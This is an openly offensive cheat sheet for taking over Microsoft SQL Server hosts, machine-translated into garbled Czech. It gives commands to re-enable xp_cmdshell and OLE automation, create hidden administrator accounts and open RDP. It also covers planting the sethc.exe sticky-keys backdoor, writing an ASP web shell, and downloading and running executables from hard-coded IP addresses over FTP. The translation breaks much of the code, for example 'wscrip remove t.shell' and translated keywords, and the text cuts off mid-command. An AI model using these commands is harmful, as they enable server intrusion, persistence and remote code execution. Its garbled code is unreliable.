Opravárenské rozkazy z roku 1433
NET user SQL Seznam buggerů /add net localgroup administrators SQLDebugger /add
Chybová zpráva: Nepodařilo se najít uloženou proceduru 'master.. xp_cmdshell'。
Metoda opravy: velmi obecná, ve skutečnosti lze opravit i další 126 127 společně,
Jenže xplog70.dll všechno ostatní lze tímto příkazem opravit
xp_cmdshell nové metody obnovy Krok 1: Smazat: Postup při skládání sp_addextendedproc Postup při skládání sp_oacreate Výkonný sp_dropextendedproc 'xp_cmdshell' Server: Msg 3701, úroveň 11, stav 5, linka 1 Proces 'sp_addextendedproc' nelze odstranit, protože v systémovém adresáři neexistuje. Server: Msg 3701, úroveň 11, stav 5, procedura sp_dropextendedproc, řádek 18 Není možné odstranit proces 'xp_cmdshell', protože v adresáři systému neexistuje. Krok 2 Zotavení: DBCC addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") Přímé obnovení, bez ohledu na to, zda sp_addextendedproc existuje nebo ne
xplog70.dll opravy:
Chybová zpráva: DLL xplog70.dll nebo některá z DLL odkazovaných DLL nebylo možné připojit. Důvod: 126 (Specifikovaný modul nelze najít.) )。
Opravte XPLOG70.DLL (nejprve zkontrolujte záložní složku \x86\bin se souborem a pak nahraďte následující složku)
Krok 1 Výkonný sp_dropextendedproc 'xp_cmdshell' Krok 2 DBCC addextendedproc ("xp_cmdshell","c:\sql2KSP4\x86\binn\xplog70.dll")
Nepodařilo se najít uloženou proceduru 'master.. xp_cmdshell'。 Krok 1: Postup vytvoření sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (majitel.) Název funkce, kterou volat
*/ @dllname varchar(255)/* název DLL obsahujícího funkci */ jako Spustit implicit_transactions pokud @@trancount > 0 začátek raiserror(15002,-1,-1,'sp_addextendedproc') return (1) konec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc JDI
Krok 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server zablokoval přístup k procesu 'sys.xp_cmdshell' komponenty 'xp_cmdshell', protože tato komponenta byla vypnuta v rámci bezpečnostní konfigurace tohoto serveru. Správci systému mohou povolit 'xp_cmdshell' pomocí sp_configure. Pro více informací o povolení xp_cmdshell viz Peripheral App Configurator v sérii SQL Server Online Books.
; EXEC sp_configure 'zobrazit pokročilé možnosti', 1 -- ; PŘEKONFIGURUJTE S OVERRIDE -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; PŘEKONFIGURUJTE S OVERRIDE -- ; EXEC sp_configure 'zobrazit pokročilé možnosti', 0 --
Odstraňte SQL bezpečné úložiště: POSTUP DROP sp_makewebtask Výkonný mistr.. sp_dropextendedproc xp_cmdshell Výkonný mistr.. sp_dropextendedproc xp_dirtree Výkonný mistr.. sp_dropextendedproc xp_fileexist Výkonný mistr.. sp_dropextendedproc xp_terminate_process Výkonný mistr.. sp_dropextendedproc sp_oamethod Výkonný mistr.. sp_dropextendedproc sp_oacreate Výkonný mistr.. sp_dropextendedproc xp_regaddmultistring Výkonný mistr.. sp_dropextendedproc xp_regdeletekey Výkonný mistr.. sp_dropextendedproc xp_regdeletevalue Výkonný mistr.. sp_dropextendedproc xp_regenumkeys Výkonný mistr.. sp_dropextendedproc xp_regenumvalues Výkonný mistr.. sp_dropextendedproc sp_add_job Výkonný mistr.. sp_dropextendedproc sp_addtask Výkonný mistr.. sp_dropextendedproc xp_regread Výkonný mistr.. sp_dropextendedproc xp_regwrite Výkonný mistr.. sp_dropextendedproc xp_readwebtask Výkonný mistr.. sp_dropextendedproc xp_makewebtask Výkonný mistr.. sp_dropextendedproc xp_regremovemultistring Výkonný mistr.. sp_dropextendedproc sp_OACreate POSTUP DROP sp_addextendedproc
Obnovení rozšířených uložených procedur Nejprve obnovte sp_addextendedproc, tvrzení je následující: Za prvé: Postup vytvoření sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (majitel.) název funkce pro volání */ @dllname varchar(255)/* název DLL obsahujícího funkci */ jako Spustit implicit_transactions pokud @@trancount > 0 začátek raiserror(15002,-1,-1,'sp_addextendedproc') return (1) konec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc JDI
Za druhé: Použití master Výkonný sp_addextendedproc xp_cmdshell, 'xp_cmdshell.dll' Výkonný sp_addextendedproc xp_dirtree, 'xpstar.dll' Výkonný sp_addextendedproc xp_enumgroups, 'xplog70.dll' Výkonný sp_addextendedproc xp_fixeddrives, 'xpstar.dll' Exec sp_addextendedproc xp_loginconfig, 'xplog70.dll' Exec sp_addextendedproc xp_enumerrorlogs, 'xpstar.dll' Exec sp_addextendedproc xp_getfiledetails, 'xpstar.dll' Výkonný sp_addextendedproc sp_OACreate, 'odsole70.dll' Exec sp_addextendedproc sp_OADestroy, 'odsole70.dll' Výkonný sp_addextendedproc sp_OAGetErrorInfo, 'odsole70.dll' Výkonný sp_addextendedproc sp_OAGetProperty, 'odsole70.dll' Exec sp_addextendedproc sp_OAMethod, 'odsole70.dll' Výkonný sp_addextendedproc sp_OASetProperty, 'odsole70.dll' Výkonný sp_addextendedproc sp_OAStop, 'odsole70.dll' Výkonný sp_addextendedproc xp_regaddmultistring, 'xpstar.dll' Výkonný sp_addextendedproc xp_regdeletekey, 'xpstar.dll' Výkonný sp_addextendedproc xp_regdeletevalue, 'xpstar.dll' Výkonný sp_addextendedproc xp_regenumvalues, 'xpstar.dll' Výkonný sp_addextendedproc xp_regread, 'xpstar.dll' Výkonný sp_addextendedproc xp_regremovemultistring, 'xpstar.dll' Výkonný sp_addextendedproc xp_regwrite, 'xpstar.dll' Výkonný sp_addextendedproc xp_availablemedia, 'xpstar.dll'
Smažte příkaz, který rozšiřuje uloženou proceduru xp_cmdshell: Výkonný sp_dropextendedproc 'xp_cmdshell'
Obnovení SQL příkazu v cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Open command command command SQL exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Zjistěte, zda existuje rozšíření úložiště Vyberte count(*) z master.dbo.sysobjects kde xtype='x' a name='xp_cmdshell' Výsledek je 1 a je to v pořádku
Obnovte xp_cmdshell exec master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Vyberte count(*) z master.dbo.sysobjects kde xtype='x' a name='xp_cmdshell' Výsledek je 1 a je to v pořádku Jinak nahrajte xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Blokujte SQL příkaz v cmdshell sp_dropextendedproc "xp_cmdshell
Jedna. Změna metody hesla SA: Po připojení k SQL Comprehensive Utilization Tool spusťte příkaz: exec sp_password NULL, 'nové heslo', 'sa' (Nápověda: používejte opatrně!)
Dva. Stačí opravit slabé heslo.
Metoda 1: Po připojení se dotazujte na rozbočovač: pokud existuje (vyberte * z dbo.sysobjects kde id = object_id(N'[dbo].[ xp_cmdshell]') a OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
JDI Poté stiskněte klávesu F5 pro provedení příkazu
Metoda 2: Dotazujte se po připojení rozbočovače Prvním krokem je vykonat: použít master Krok 2: sp_dropextendedproc 'xp_cmdshell' Poté stiskněte klávesu F5 pro provedení příkazu
DLL xpsql70.dll nebo některá z DLL odkazovaných DLL nelze připojit. Důvod 126 (Specifikovaný modul nelze najít. ) Metoda obnovy: Po dotazování na spoj splitteru, Krok 1: sp_dropextendedproc "xp_cmdshell" Krok 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Funkce xp_cmdshell nelze najít v knihovně xpweb70.dll. Důvod: 127 (Specifikovaný program nelze najít.) ) Metoda obnovy: Po dotazování na spoj splitteru, Krok 1 Realizace: výkonný sp_dropextendedproc 'xp_cmdshell' Krok 2: sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Poté stiskněte klávesu F5 pro provedení příkazu
Pokud žádná z výše uvedených metod není obnovitelná, zkuste prosím přidat účet přímo pomocí následujících metod: Po dotazu na spoj splitteru, Systém 2000servser: declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net user web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP nebo 2003Server System: chyba 126! Řád
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server zablokoval přístup k procesu 'sys.xp_cmdshell' komponenty 'xp_cmdshell', protože tato komponenta byla vypnuta v rámci bezpečnostní konfigurace tohoto serveru. Správci systému mohou povolit 'xp_cmdshell' pomocí sp_configure. Pro více informací o povolení xp_cmdshell viz Peripheral App Configurator v sérii SQL Server Online Books.
Výroky prováděné analyzátorem:
EXEC sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; EXEC sp_configure 'xp_cmdshell', 1; REKONFIGUROVAT;
Někdy při provádění výše uvedených příkazů s dotazovacím detacher spojením nelze uloženou proceduru najít sp_addextendedproc
Řešení:
Postup vytvoření sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (majitel.) Název funkce, kterou volat */ @dllname varchar(255)/* název DLL obsahujícího funkci */ jako Spustit implicit_transactions pokud @@trancount > 0 začátek raiserror(15002,-1,-1,'sp_addextendedproc') return (1) konec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc JDI Tento kód je vložen do rozdělovače dotazů a vykonán
Explorer:
c:\windows\explorer.exe
Zobrazit obsah Výkonný master.dbo.xp_subdirs 'C:\' Seznamové disky Výkonný mistr.. xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',0 Vyberte * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Vyberte * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor verze 5.00 >3389.reg Ozvěna. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Enabled"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabl"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_USERS\. VÝCHOZÍ\Rozložení klávesnice\Přepínač] >>3389.reg echo "Hotkey"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg
Open 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConctions','REG_DWORD',0; --
Průkaz 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Podívej se na port 3389
exec xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Terminal\Server\WinStations\RDP-Tcp','PortNumber'
Běžné zadní vrátka CMD xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz', 'c:\windows\system32\cmd.exe'
win2K jde přímo do PS Mar Výkonný mistr.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',1 select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo sbohem>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP přímo na PS koních Výkonný mistr.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',1 select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo sbohem>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Přesunout příkaz zadních vrátek deklarujte @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
deklarujte @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Kopírovat C:\Windows\explorer.exe C:\Windows\System32\sethc.exe Copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
deklarujte @o int Exec sp_oacreate 'wscrip odstraňte t.shell', @o ven exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX je příkaz, který chcete spustit
Zapište hodnotu zadanou v klíči určeném v registru) pomocí metody (zapisujte bbb do klíče HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC, mistr... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
@echo otevřít 121.22.56.5>c:\bin.txt&@echo list>>c:\bin.txt&@echo list>>c:\bin.txt&@echo dostat gzn.exe>>c:\bin.txt&@echo bye>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Nejprve ftp.exe zkopírujte do adresáře wmpub @echo CD c:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL píše větu Výkonný master.dbo.xp_subdirs 'D:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB")%>'' ' '
Propagace SA Sandbox Mode ----- ---------------------- Výkonný mistr.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBox Mode','REG_DWORD',0; ------------------------------------------------------- Vyberte * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Vyberte * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
SMĚNA 3389
Použitá věta: Invaze EXEC, mistr... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spuštění obrazových souborů\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Obnova EXEC, mistr... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spuštění obrazových souborů\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Únos obrazu
EXEC, mistr... xp_regwrite --- tohle je úprava registru! @rootkey='HKEY_LOCAL_MACHINE', ---To je ta pozice! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spuštění obrazových souborů\sethc. EXE', -----To je také ta pozice! @value_name='Debugger', --- toto je název tabulky! @type='REG_SZ', --- tady je význam psaní! @value='C:\WINDOWS\explorer.exe' ---- zde je psaný obsah!
Celý proces spočívá v použití masteru: xp_regwrite je tato složka hotová,
1.sql příkaz pro dotaz, zda byl blok sticky key unesen
Výkonný mistr.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql příkaz přebírá funkci přilepených kláves v registru a nahrazuje ji správcem úloh (samozřejmě ji můžete nahradit jinými příkazy, které chcete).
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spuštění obrazového souboru\sethc.exe', 'Debugger','REG_SZ', 'C:\WINDOWS\system32\taskmgr.exe'
3.sql příkaz k odstranění funkce přehnutí z přilepeného klíče registru chrání váš server před zneužitím ostatními
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spuštění obrazových souborů\sethc.exe'
SQL zápisové soubory
Deklarujte @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo ' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Skripty bez NET eskalace
struser=wscrip pro odstranění t.arguments(0) strpass=wscrip pro odstranění t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) od. SetPassword strpass od. SetInfo Sada =GetObject(oz&"/" & struser & ",user") Oe. Add(of. ADsPath)
Pro každého admina v OE. Členové if struser=admin. Název tedy Wscrip odstranil t.echo struser a "Úspěšně založeno!" wscrip pro odstranění t.quit konec pokud Další
Wscrip odstraňte t.echo struser & "User Establishment selhal!" Uložte výše uvedené jako uživatele. VBS soubor Poté spustit: cscrip odstranit uživatelské jméno user.vbs
Pomocí JET sandbox režimu můžete řešit problémy způsobené uloženými procedurami, jako jsou XP_cmdshell a související knihovny dynamických linků. Z bezpečnostních důvodů systém ve výchozím nastavení nezapíná režim sandbox, který vyžaduje, aby xp_regwrite zapnul režim sandbox:
Výkonný master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines', 'SandBox Mode', 'REG_DWORD',1
Poté spusťte sandboxový příkaz pro přidání uživatelského testu s heslem 1234 do systému:
select * from openrowset('microsoft.jet.oledb.4.0','; Database=c:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
select * from openrowset('microsoft.jet.oledb.4.0','; Database=c:\Windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrátoři testují /add")')
Různé operační systémy mají různé cesty a je třeba je upravovat podle situace:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Navíc v Microsoft SQL Server 2005 jsou některé uložené procedury ve výchozím nastavení uzavřeny a vyžadují příkazy k otevření:
Zapněte XP_cmdshell:
EXEC sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; VÝKONNÝ sp_configure 'xp_cmdshell', 1; REKONFIGUROVAT;
Otevřete 'OPENROWSET':
výkonný sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; Výkonný sp_configure 'Ad hoc distribuované dotazy',1; REKONFIGUROVAT;
Zapněte 'sp_oacreate':
výkonný sp_configure 'zobrazit pokročilé možnosti', 1; REKONFIGUROVAT; Výkonný sp_configure 'Ole Automation Procedures',1; REKONFIGUROVAT;
Zde je několik situací, kdy je příkaz k vykonání pod sa chybný: 1. DLL xpsql70.dll nebo DLL odkazované DLL nelze načíst. Důvod 126 (Specifikovaný modul nelze najít. ) Tato situace je poměrně běžná a oprava je jednoduchá a jednoduchá, ale existují určité podmínky. Pokud můžete adresář v tomto případě uvést (u sqltools v2.0 je funkce adresáře), gratuluji k této situaci 80 %, lze ji vyřešit, pokud dokážete vyjmenovat adresář, stačí najít cestu xplog70.dll a spustit následující příkaz. Krok 1 exec sp_dropextendedproc 'xp_cmdshell' (tento příkaz slouží ke smazání původního cmdshellu, protože už se pokazil) Krok 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'zobrazit pokročilé možnosti', 0 – Samozřejmě je to SQL příkaz, spuštěný pomocí analyzátoru dotazů. C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll ve druhém kroku je cesta xplog70.dll, tato cesta je poměrně běžná, pokud disk C ji nemá, můžete najít jiné písmena disku. 2. Nemohu najít funkci xp_cmdshell v knihovně xpweb70.dll. Důvod: 127 (Specifikovaný program nelze najít.) ) Ve skutečnosti je to stejné jako výše uvedený 126, tedy cmdshell je špatný, pokud najdete zálohu xplog70.dll postupujete výše uvedenou metodou k opravě. 3. Nepodařilo se najít uloženou proceduru 'master'. xpcmdshell' V tomto případě vidím na internetu, že metoda je: Krok 1: Smazat: Postup při skládání sp_addextendedproc Postup při skládání sp_oacreate Výkonný sp_dropextendedproc 'xp_cmdshell' Krok 2 Zotavení: DBCC addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") Ve skutečnosti je to stále stejné jako výše uvedené, pokud budete opatrní, výše uvedený 126 127 nenajde pouze uloženou proceduru 'master:. xpcmdshell', protože prvním krokem je smazat uloženou proceduru v cmdshell. Takže v tomto případě stačí postupovat podle druhého kroku výše. 4. Chybová zpráva: SQL Server zablokoval přístup k zpracování 'sys.xp_cmdshell' komponenty 'xp_cmdshell', protože tato komponenta byla vypnuta jako součást bezpečnostní konfigurace tohoto serveru. Správci systému mohou povolit 'xp_cmdshell' pomocí sp_configure. Pro více informací o povolení xp_cmdshell viz Peripheral App Configurator v sérii SQL Server Online Books. Tato situace je nejjednodušší, protože nemusíte na nic myslet, stačí vykonat následující příkaz ; EXEC sp_configure 'zobrazit pokročilé možnosti', 1 -- ; PŘEKONFIGURUJTE S OVERRIDE -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; PŘEKONFIGURUJTE S OVERRIDE -- ; EXEC sp_configure 'zobrazit pokročilé možnosti', 0 –
Po výše uvedené opravě můžete spustit příkaz cmd a začnete zvyšovat svou sílu. Obvykle nejprve zkontroluji IP, jestli je to intranet, a pak REG dotaz HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber pro kontrolu terminálového portu" a pak netstat –an, abych zjistil, jestli je terminál otevřený, a pak uživatelské heslo net uživatele / Přidej uživatele a pak přidej uživatele Localgroup Administrators /add Pokud vše půjde dobře, server se zničí. Ale v procesu je mnoho problémů. 1. Čistá podpora výkonu je úspěšná, ale nelze se připojit k terminálu Existují následující situace (1) Server je na intranetu. (2) TCP/IP screening. Nejprve spusťte následující příkaz cmd: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, exportujte první část registru pro filtrování TCP/IP cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, exportujte druhou část registru pro filtrování TCP/IP cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", což exportuje třetí místo v registru o filtrování TCP/IP Pak se vraťte na disk c 1.reg, 2.reg, 3.reg, stáhněte 1.reg, 2.reg 3.reg zpět na pevný disk a upravte to, najděte pole EnableSecurityFilters a zjistěte, jestli je klíčová hodnota po dword 00000000, pokud je 00000001, znamená to, že administrátor provedl filtrování TCP/IP, stačí jen změnit 1 na 0, 2. Reg a 3.reg dělají stejné změny. (3) Vytvořit bezpečnostní politiku duševního vlastníctva. Spusť příkaz cmd: cmd /c net stop policyagent pro zastavení služby IPSEC. Připojte terminál znovu. (4) Oprávnění k přihlášení do sady terminálů od administrátora může použít pouze určený uživatel. (5) Firewall. Spusť příkaz cmd: net stop alg /ynet stop sharedaccess
2. Objeví se eskalace NET a přístup je odmítnut Můžete zkusit uživatelské heslo net1 /add Pokud net1 také přístup odmítá, můžete zkopírovat shfit backdoor a zkusit spustit příkaz cmd: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe Pokud je vyzvána, zkopírujte jeden soubor, který se ukáže jako úspěšný. Připojte se k terminálu a stiskněte 5 shift, abyste viděli, co se objeví. Hraj si s Kaka Explorerem, teď už jen ručně přidej uživatele. 3. Dochází k eskalaci sítě při chybě odmítnutí přístupu 5 (zvýraznění) V tomto případě nemusíš zkoušet net1, můžeš zkusit copy shift backdoor, pokud kopie vyzve ke zkopírování souboru 0, dokazuje to, že to není úspěšné. Pak se můžete pokusit nahrát to, pokud to jde, můžete přímo poslat ne-net nástroj pro eskalaci napájení, který vyšel před časem, a pak přidat uživatele. Ale většinu těchto případů nelze nahrát, takže je třeba o tom přemýšlet. Protože lze spustit cmd, lze soubor stáhnout přes cmd pod ftp, ale předpokladem ftp je schopnost psát text nebo dávkové zpracování. Pak můžete napsat text nebo batch přes SQL příkaz. Deklarujte @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp účet' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (žádný net escalation skript) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL, 'bye' Po úspěšném spuštění analyzátoru dotazů se na disku C objeví 1.bat (pokud je spuštění úspěšné, ale disk C není k dispozici, můžete změnit složku na zápis, protože kořenový adresář disku C na tom serveru zakazuje zápis) Pak cmd spustí ftp -s:c:\1.bat Po provedení si stáhnete ne-net eskalační skript na CFT disku FTP nebo napíšete přímo VBS eskalační skript Deklarujte @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Pak cmd vykoná cscrip a odstraní t c:\1.vbs 4. Předchozí je opraven pro provádění příkazů cmd, ale po opravách se objeví nové problémy (1) Zpráva: Při provádění xp_cmdshell došlo k chybě. Volání 'CreateProcess' selhalo s chybovým kódem: '5'. Chyba 5 je chyba vyvolaná systémem, CreateProcess znamená vytvoření vlákna, tato generace chyby má hodně společného s cmd.exe systémových souborů, jedním je smazání cmd, druhým je snížení oprávnění cmd. SQL pro kontrolu terminálových portů a stavu otevření: Výkonný mistr.. xp_regread 'HKEY_LOCAL_MACHINE','SYSTÉM\AktuálníKontrolní sada\Kontrola\Terminálový server\WinStations\RDP-Tcp','PortNumber' Dobře, klíčovým bodem níže je použít dvě SQL instrukce ke zkopírování souboru průzkumníka systému do zadních vrátek systému a následující dva příkazy se vykonávají samostatně. Toto prohlášení explorer.exe kopíruje jako sethc.exe deklarujte @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Tento příkaz sethc.exe kopíruje do adresáře dllcache declare @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod 